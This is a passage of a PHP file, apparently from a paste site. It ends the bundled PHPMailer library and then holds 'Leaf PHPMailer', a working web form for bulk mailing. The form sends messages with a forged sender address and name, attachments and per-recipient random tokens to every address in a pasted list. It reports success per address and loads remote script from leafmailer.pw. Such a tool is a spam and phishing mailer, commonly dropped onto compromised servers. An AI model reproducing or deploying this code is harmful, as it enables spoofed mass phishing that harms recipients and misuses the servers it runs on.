  3533.             'rpm'   => 'audio/x-pn-realaudio-plugin',
  3534.             'ra'    => 'audio/x-realaudio',
  3535.             'wav'   => 'audio/x-wav',
  3536.             'bmp'   => 'image/bmp',
  3537.             'gif'   => 'image/gif',
  3538.             'jpeg'  => 'image/jpeg',
  3539.             'jpe'   => 'image/jpeg',
  3540.             'jpg'   => 'image/jpeg',
  3541.             'png'   => 'image/png',
  3542.             'tiff'  => 'image/tiff',
  3543.             'tif'   => 'image/tiff',
  3544.             'eml'   => 'message/rfc822',
  3545.             'css'   => 'text/css',
  3546.             'html'  => 'text/html',
  3547.             'htm'   => 'text/html',
  3548.             'shtml' => 'text/html',
  3549.             'log'   => 'text/plain',
  3550.             'text'  => 'text/plain',
  3551.             'txt'   => 'text/plain',
  3552.             'rtx'   => 'text/richtext',
  3553.             'rtf'   => 'text/rtf',
  3554.             'vcf'   => 'text/vcard',
  3555.             'vcard' => 'text/vcard',
  3556.             'xml'   => 'text/xml',
  3557.             'xsl'   => 'text/xml',
  3558.             'mpeg'  => 'video/mpeg',
  3559.             'mpe'   => 'video/mpeg',
  3560.             'mpg'   => 'video/mpeg',
  3561.             'mov'   => 'video/quicktime',
  3562.             'qt'    => 'video/quicktime',
  3563.             'rv'    => 'video/vnd.rn-realvideo',
  3564.             'avi'   => 'video/x-msvideo',
  3565.             'movie' => 'video/x-sgi-movie'
  3566.         );
  3567.         if (array_key_exists(strtolower($ext), $mimes)) {
  3568.             return $mimes[strtolower($ext)];
  3569.         }
  3570.         return 'application/octet-stream';
  3571.     }
  3572.  
  3573.     /**
  3574.      * Map a file name to a MIME type.
  3575.      * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  3576.      * @param string $filename A file name or full path, does not need to exist as a file
  3577.      * @return string
  3578.      * @static
  3579.      */
  3580.     public static function filenameToType($filename)
  3581.     {
  3582.         // In case the path is a URL, strip any query string before getting extension
  3583.         $qpos = strpos($filename, '?');
  3584.         if (false !== $qpos) {
  3585.             $filename = substr($filename, 0, $qpos);
  3586.         }
  3587.         $pathinfo = self::mb_pathinfo($filename);
  3588.         return self::_mime_types($pathinfo['extension']);
  3589.     }
  3590.  
  3591.     /**
  3592.      * Multi-byte-safe pathinfo replacement.
  3593.      * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  3594.      * Works similarly to the one in PHP >= 5.2.0
  3595.      * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3596.      * @param string $path A filename or path, does not need to exist as a file
  3597.      * @param integer|string $options Either a PATHINFO_* constant,
  3598.      *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  3599.      * @return string|array
  3600.      * @static
  3601.      */
  3602.     public static function mb_pathinfo($path, $options = null)
  3603.     {
  3604.         $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3605.         $pathinfo = array();
  3606.         if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  3607.             if (array_key_exists(1, $pathinfo)) {
  3608.                 $ret['dirname'] = $pathinfo[1];
  3609.             }
  3610.             if (array_key_exists(2, $pathinfo)) {
  3611.                 $ret['basename'] = $pathinfo[2];
  3612.             }
  3613.             if (array_key_exists(5, $pathinfo)) {
  3614.                 $ret['extension'] = $pathinfo[5];
  3615.             }
  3616.             if (array_key_exists(3, $pathinfo)) {
  3617.                 $ret['filename'] = $pathinfo[3];
  3618.             }
  3619.         }
  3620.         switch ($options) {
  3621.             case PATHINFO_DIRNAME:
  3622.             case 'dirname':
  3623.                 return $ret['dirname'];
  3624.             case PATHINFO_BASENAME:
  3625.             case 'basename':
  3626.                 return $ret['basename'];
  3627.             case PATHINFO_EXTENSION:
  3628.             case 'extension':
  3629.                 return $ret['extension'];
  3630.             case PATHINFO_FILENAME:
  3631.             case 'filename':
  3632.                 return $ret['filename'];
  3633.             default:
  3634.                 return $ret;
  3635.         }
  3636.     }
  3637.  
  3638.     /**
  3639.      * Set or reset instance properties.
  3640.      * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3641.      * harder to debug than setting properties directly.
  3642.      * Usage Example:
  3643.      * `$mail->set('SMTPSecure', 'tls');`
  3644.      *   is the same as:
  3645.      * `$mail->SMTPSecure = 'tls';`
  3646.      * @access public
  3647.      * @param string $name The property name to set
  3648.      * @param mixed $value The value to set the property to
  3649.      * @return boolean
  3650.      * @TODO Should this not be using the __set() magic function?
  3651.      */
  3652.     public function set($name, $value = '')
  3653.     {
  3654.         if (property_exists($this, $name)) {
  3655.             $this->$name = $value;
  3656.             return true;
  3657.         } else {
  3658.             $this->setError($this->lang('variable_set') . $name);
  3659.             return false;
  3660.         }
  3661.     }
  3662.  
  3663.     /**
  3664.      * Strip newlines to prevent header injection.
  3665.      * @access public
  3666.      * @param string $str
  3667.      * @return string
  3668.      */
  3669.     public function secureHeader($str)
  3670.     {
  3671.         return trim(str_replace(array("\r", "\n"), '', $str));
  3672.     }
  3673.  
  3674.     /**
  3675.      * Normalize line breaks in a string.
  3676.      * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  3677.      * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  3678.      * @param string $text
  3679.      * @param string $breaktype What kind of line break to use, defaults to CRLF
  3680.      * @return string
  3681.      * @access public
  3682.      * @static
  3683.      */
  3684.     public static function normalizeBreaks($text, $breaktype = "\r\n")
  3685.     {
  3686.         return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  3687.     }
  3688.  
  3689.     /**
  3690.      * Set the public and private key files and password for S/MIME signing.
  3691.      * @access public
  3692.      * @param string $cert_filename
  3693.      * @param string $key_filename
  3694.      * @param string $key_pass Password for private key
  3695.      * @param string $extracerts_filename Optional path to chain certificate
  3696.      */
  3697.     public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  3698.     {
  3699.         $this->sign_cert_file = $cert_filename;
  3700.         $this->sign_key_file = $key_filename;
  3701.         $this->sign_key_pass = $key_pass;
  3702.         $this->sign_extracerts_file = $extracerts_filename;
  3703.     }
  3704.  
  3705.     /**
  3706.      * Quoted-Printable-encode a DKIM header.
  3707.      * @access public
  3708.      * @param string $txt
  3709.      * @return string
  3710.      */
  3711.     public function DKIM_QP($txt)
  3712.     {
  3713.         $line = '';
  3714.         for ($i = 0; $i < strlen($txt); $i++) {
  3715.             $ord = ord($txt[$i]);
  3716.             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  3717.                 $line .= $txt[$i];
  3718.             } else {
  3719.                 $line .= '=' . sprintf('%02X', $ord);
  3720.             }
  3721.         }
  3722.         return $line;
  3723.     }
  3724.  
  3725.     /**
  3726.      * Generate a DKIM signature.
  3727.      * @access public
  3728.      * @param string $signHeader
  3729.      * @throws phpmailerException
  3730.      * @return string
  3731.      */
  3732.     public function DKIM_Sign($signHeader)
  3733.     {
  3734.         if (!defined('PKCS7_TEXT')) {
  3735.             if ($this->exceptions) {
  3736.                 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3737.             }
  3738.             return '';
  3739.         }
  3740.         $privKeyStr = file_get_contents($this->DKIM_private);
  3741.         if ($this->DKIM_passphrase != '') {
  3742.             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  3743.         } else {
  3744.             $privKey = $privKeyStr;
  3745.         }
  3746.         if (openssl_sign($signHeader, $signature, $privKey)) {
  3747.             return base64_encode($signature);
  3748.         }
  3749.         return '';
  3750.     }
  3751.  
  3752.     /**
  3753.      * Generate a DKIM canonicalization header.
  3754.      * @access public
  3755.      * @param string $signHeader Header
  3756.      * @return string
  3757.      */
  3758.     public function DKIM_HeaderC($signHeader)
  3759.     {
  3760.         $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  3761.         $lines = explode("\r\n", $signHeader);
  3762.         foreach ($lines as $key => $line) {
  3763.             list($heading, $value) = explode(':', $line, 2);
  3764.             $heading = strtolower($heading);
  3765.             $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  3766.             $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  3767.         }
  3768.         $signHeader = implode("\r\n", $lines);
  3769.         return $signHeader;
  3770.     }
  3771.  
  3772.     /**
  3773.      * Generate a DKIM canonicalization body.
  3774.      * @access public
  3775.      * @param string $body Message Body
  3776.      * @return string
  3777.      */
  3778.     public function DKIM_BodyC($body)
  3779.     {
  3780.         if ($body == '') {
  3781.             return "\r\n";
  3782.         }
  3783.         // stabilize line endings
  3784.         $body = str_replace("\r\n", "\n", $body);
  3785.         $body = str_replace("\n", "\r\n", $body);
  3786.         // END stabilize line endings
  3787.         while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  3788.             $body = substr($body, 0, strlen($body) - 2);
  3789.         }
  3790.         return $body;
  3791.     }
  3792.  
  3793.     /**
  3794.      * Create the DKIM header and body in a new message header.
  3795.      * @access public
  3796.      * @param string $headers_line Header lines
  3797.      * @param string $subject Subject
  3798.      * @param string $body Body
  3799.      * @return string
  3800.      */
  3801.     public function DKIM_Add($headers_line, $subject, $body)
  3802.     {
  3803.         $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  3804.         $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  3805.         $DKIMquery = 'dns/txt'; // Query method
  3806.         $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  3807.         $subject_header = "Subject: $subject";
  3808.         $headers = explode($this->LE, $headers_line);
  3809.         $from_header = '';
  3810.         $to_header = '';
  3811.         $current = '';
  3812.         foreach ($headers as $header) {
  3813.             if (strpos($header, 'From:') === 0) {
  3814.                 $from_header = $header;
  3815.                 $current = 'from_header';
  3816.             } elseif (strpos($header, 'To:') === 0) {
  3817.                 $to_header = $header;
  3818.                 $current = 'to_header';
  3819.             } else {
  3820.                 if (!empty($$current) && strpos($header, ' =?') === 0) {
  3821.                     $$current .= $header;
  3822.                 } else {
  3823.                     $current = '';
  3824.                 }
  3825.             }
  3826.         }
  3827.         $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  3828.         $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  3829.         $subject = str_replace(
  3830.             '|',
  3831.             '=7C',
  3832.             $this->DKIM_QP($subject_header)
  3833.         ); // Copied header fields (dkim-quoted-printable)
  3834.         $body = $this->DKIM_BodyC($body);
  3835.         $DKIMlen = strlen($body); // Length of body
  3836.         $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  3837.         if ('' == $this->DKIM_identity) {
  3838.             $ident = '';
  3839.         } else {
  3840.             $ident = ' i=' . $this->DKIM_identity . ';';
  3841.         }
  3842.         $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  3843.             $DKIMsignatureType . '; q=' .
  3844.             $DKIMquery . '; l=' .
  3845.             $DKIMlen . '; s=' .
  3846.             $this->DKIM_selector .
  3847.             ";\r\n" .
  3848.             "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  3849.             "\th=From:To:Subject;\r\n" .
  3850.             "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  3851.             "\tz=$from\r\n" .
  3852.             "\t|$to\r\n" .
  3853.             "\t|$subject;\r\n" .
  3854.             "\tbh=" . $DKIMb64 . ";\r\n" .
  3855.             "\tb=";
  3856.         $toSign = $this->DKIM_HeaderC(
  3857.             $from_header . "\r\n" .
  3858.             $to_header . "\r\n" .
  3859.             $subject_header . "\r\n" .
  3860.             $dkimhdrs
  3861.         );
  3862.         $signed = $this->DKIM_Sign($toSign);
  3863.         return $dkimhdrs . $signed . "\r\n";
  3864.     }
  3865.  
  3866.     /**
  3867.      * Detect if a string contains a line longer than the maximum line length allowed.
  3868.      * @param string $str
  3869.      * @return boolean
  3870.      * @static
  3871.      */
  3872.     public static function hasLineLongerThanMax($str)
  3873.     {
  3874.         //+2 to include CRLF line break for a 1000 total
  3875.         return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  3876.     }
  3877.  
  3878.     /**
  3879.      * Allows for public read access to 'to' property.
  3880.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3881.      * @access public
  3882.      * @return array
  3883.      */
  3884.     public function getToAddresses()
  3885.     {
  3886.         return $this->to;
  3887.     }
  3888.  
  3889.     /**
  3890.      * Allows for public read access to 'cc' property.
  3891.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3892.      * @access public
  3893.      * @return array
  3894.      */
  3895.     public function getCcAddresses()
  3896.     {
  3897.         return $this->cc;
  3898.     }
  3899.  
  3900.     /**
  3901.      * Allows for public read access to 'bcc' property.
  3902.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3903.      * @access public
  3904.      * @return array
  3905.      */
  3906.     public function getBccAddresses()
  3907.     {
  3908.         return $this->bcc;
  3909.     }
  3910.  
  3911.     /**
  3912.      * Allows for public read access to 'ReplyTo' property.
  3913.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3914.      * @access public
  3915.      * @return array
  3916.      */
  3917.     public function getReplyToAddresses()
  3918.     {
  3919.         return $this->ReplyTo;
  3920.     }
  3921.  
  3922.     /**
  3923.      * Allows for public read access to 'all_recipients' property.
  3924.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3925.      * @access public
  3926.      * @return array
  3927.      */
  3928.     public function getAllRecipientAddresses()
  3929.     {
  3930.         return $this->all_recipients;
  3931.     }
  3932.  
  3933.     /**
  3934.      * Perform a callback.
  3935.      * @param boolean $isSent
  3936.      * @param array $to
  3937.      * @param array $cc
  3938.      * @param array $bcc
  3939.      * @param string $subject
  3940.      * @param string $body
  3941.      * @param string $from
  3942.      */
  3943.     protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  3944.     {
  3945.         if (!empty($this->action_function) && is_callable($this->action_function)) {
  3946.             $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  3947.             call_user_func_array($this->action_function, $params);
  3948.         }
  3949.     }
  3950. }
  3951.  
  3952. /**
  3953.  * PHPMailer exception handler
  3954.  * @package PHPMailer
  3955.  */
  3956. class phpmailerException extends Exception
  3957. {
  3958.     /**
  3959.      * Prettify error message output
  3960.      * @return string
  3961.      */
  3962.     public function errorMessage()
  3963.     {
  3964.         $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  3965.         return $errorMsg;
  3966.     }
  3967. }
  3968.  
  3969. print '
  3970. <head>
  3971.    <title>Leaf PHPMailer</title>
  3972.    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  3973.    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
  3974.    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
  3975.    <script src="https://leafmailer.pw/style.js"></script>
  3976.  
  3977. </head>';
  3978.  
  3979. print '<body>';
  3980. print '<div class="container col-lg-6">
  3981.        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
  3982.        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  3983.            <div class="row">
  3984.                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
  3985.                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
  3986.            </div>
  3987.            <div class="row">
  3988.                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  3989.  
  3990.                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
  3991.            </div>
  3992.            <div class="row">
  3993.                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
  3994.            </div>
  3995.            <div class="row">
  3996.                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
  3997.                <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
  3998.            </div>
  3999.            <div class="row">
  4000.                <div class="form-group col-lg-6 ">
  4001.                    <label for="messageType">Message Type</label>
  4002.                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
  4003.                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
  4004.                </div>
  4005.                <div class="form-group col-lg-3 ">
  4006.                    <label for="encode">Encode Type</label>
  4007.                    <select class="form-control input-sm" id="encode" name="encode">
  4008.                        <option value="UTF-8" selected>UTF-8 Encode</option>
  4009.                        <option value="UTF-8">ISO Encode</option>
  4010.                    </select>
  4011.                </div>
  4012.            </div>
  4013.            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
  4014.  
  4015.        </form>
  4016.    </div>
  4017.    <div class="col-lg-6"><br>
  4018.        <label for="well">Instruction</label>
  4019.        <div id="well" class="well well">
  4020.            <h4>Server Information</h4>
  4021.            <ul>
  4022.                <li>ServerIP : <b>'.$_SERVER['SERVER_ADDR'].'</b></li>
  4023.  
  4024.            </ul>
  4025.            <h4>HELP</h4>
  4026.            <ul>
  4027.                <li>[-email-] : <b>Reciver Email</b></li>
  4028.                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
  4029.                <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  4030.                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  4031.                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  4032.                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  4033.                <li>[-randommd5-] : <b>Random MD5 </b></li>
  4034.            </ul>
  4035.            <h4>example</h4>
  4036.            Reciver Email = <b>user@domain.com</b><br>
  4037.            <ul>
  4038.                <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  4039.                <li>your code is  <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  4040.            </ul>
  4041.  
  4042.            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
  4043.        </div>
  4044.    </div>';    
  4045.    
  4046. if($_POST['action']=="send"){
  4047.     print '    <div class="col-lg-12">';
  4048.     $maillist=explode("\r\n", $emailList);
  4049.     $n=count($maillist);
  4050.     $x =1;
  4051.     foreach ($maillist as $email ) {
  4052.         print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
  4053.         if(!leafMailCheck($email)) {
  4054.             print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  4055.             print "<br>\r\n";
  4056.         }
  4057.         else {
  4058.             $mail = new PHPMailer;
  4059.             $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
  4060.             $mail->addReplyTo(leafClear($replyTo,$email));
  4061.             $mail->addAddress($email);
  4062.             $mail->Subject = leafClear($subject,$email);
  4063.             $mail->Body =  leafClear($messageLetter,$email);
  4064.             $mail->CharSet = $encode;
  4065.             for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
  4066.                 if ($_FILES['attachment']['tmp_name'][$i] != ""){
  4067.                     $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
  4068.                 }
  4069.  
  4070.             }
  4071.             if($messageType==1){$mail->IsHTML(true);}
  4072.             else {$mail->IsHTML(false);}
  4073.             if (!$mail->send()) {
  4074.                 echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
  4075.             }
  4076.             else {
  4077.                 echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  4078.             }
  4079.             print "<br>\r\n";
  4080.         }
  4081.         $x++;
  4082.         for($k = 0; $k < 40000; $k++) {echo ' ';}
  4083.     }
  4084.  
  4085. }
  4086. print '</body>';
  4087. ?>
Add Comment
Please, Sign In to add comment